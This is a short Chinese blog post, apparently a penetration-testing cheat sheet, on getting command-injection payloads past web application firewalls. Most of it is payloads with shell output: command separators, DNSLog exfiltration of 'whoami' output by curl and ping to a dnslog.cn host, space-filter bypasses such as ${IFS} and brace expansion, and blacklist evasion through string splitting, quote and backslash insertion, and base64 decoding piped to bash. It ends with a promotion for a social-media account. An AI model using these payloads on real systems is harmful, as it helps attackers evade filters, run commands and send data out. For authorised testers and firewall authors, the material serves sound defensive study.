渗透测试中waf命令执行的绕过经验技巧

管道符

; 顺序执行,命令之间没有逻辑关系 正常顺序执行
&& 逻辑与; 当命令1正确执行后,才会执行命令2。否则命令2不会执行 两个命令都会执行
|| 逻辑或; 当命令1不正确执行后,命令2才会执行。否则命令2不会执行 mi 会执行whom

其他特殊符号

符号 作用
' 单引号,在单引号中所有的特殊符号,如“$”和“`”(反引号)都无特殊含义
" 双引号,在双引号中特殊符号都无特殊含义,但“$”、“`”(反引号)和“\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义
` 反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和()
$() 和反引号作用相同,用来引用系统命令
# 在shell脚本中,#开头的行代表注释
$ 用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到
\ 转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符

DNSLog带命令

Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cn

Windows:
ping %USERNAME%.uvlmxy.dnslog.cn

绕过空格限制

${IFS}

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# cat${IFS}tmp
one
hh
nihao

重定向符<>

root@mon-one:~/tmp/tmp# cat<>tmp
one
hh
nihao

{,}

root@mon-one:~/tmp/tmp# {cat,tmp}
one
hh
nihao

使用环境变量

COMMAND=$'\x20-al';ls$COMMAND

绕过命令黑名单

拼接

root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# a=ca;b=t;c=tmp;$a$b $c
one
hh
nihao

base64编码

root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d`
one
hh
nihao
root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash
one
hh
nihao

单引号/双引号

root@mon-one:~/tmp/tmp# ca''t tm""p
one
hh
nihao

*反斜线*

root@mon-one:~/tmp/tmp# c\at tmp
one
hh
nihao

$@绕过

who$@ami

如果觉得有用,感谢师傅给个赞支持下

公众号: 【渗透测试教程】 专注渗透测试、渗透自动化武器研发。回复666,免费领取渗透学习资料+工具!希望能够给你带来收获!

posted @ 2021-02-21 14:49  drunk-kk  阅读(190)  评论(0)    收藏  举报
公众号: 【**渗透测试教程**】 专注渗透测试、渗透自动化武器研发。回复666,免费领取渗透学习资料+工具!希望能够给你带来收获! ![](https://img2020.cnblogs.com/blog/2100350/202102/2100350-20210221144435440-1497834335.jpg)